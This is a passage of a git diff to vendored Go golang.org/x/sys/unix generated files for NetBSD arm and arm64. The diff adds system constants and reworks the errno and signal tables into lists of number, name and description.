-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go
-index 206c75f0..c8d36fe9 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -marm
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -marm _const.go
-
- package unix
-@@ -151,6 +151,7 @@ const (
- CFLUSH = 0xf
- CLOCAL = 0x8000
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -161,6 +162,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -529,6 +532,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -563,6 +570,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -952,6 +960,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -988,6 +1000,43 @@ const (
- MAP_STACK = 0x2000
- MAP_TRYFIXED = 0x400
- MAP_WIRED = 0x800
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1016,6 +1065,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1081,7 +1131,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1555,137 +1608,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm64.go
-similarity index 89%
-copy from vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zerrors_netbsd_arm64.go
-index 4994437b..f1c146a7 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_arm64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,netbsd
-+// +build arm64,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -159,6 +159,7 @@ const (
- CLONE_VFORK = 0x4000
- CLONE_VM = 0x100
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -169,6 +170,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -537,6 +540,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -571,6 +578,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -960,6 +968,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -998,6 +1010,43 @@ const (
- MAP_WIRED = 0x800
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1026,6 +1075,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1091,7 +1141,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1566,137 +1619,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
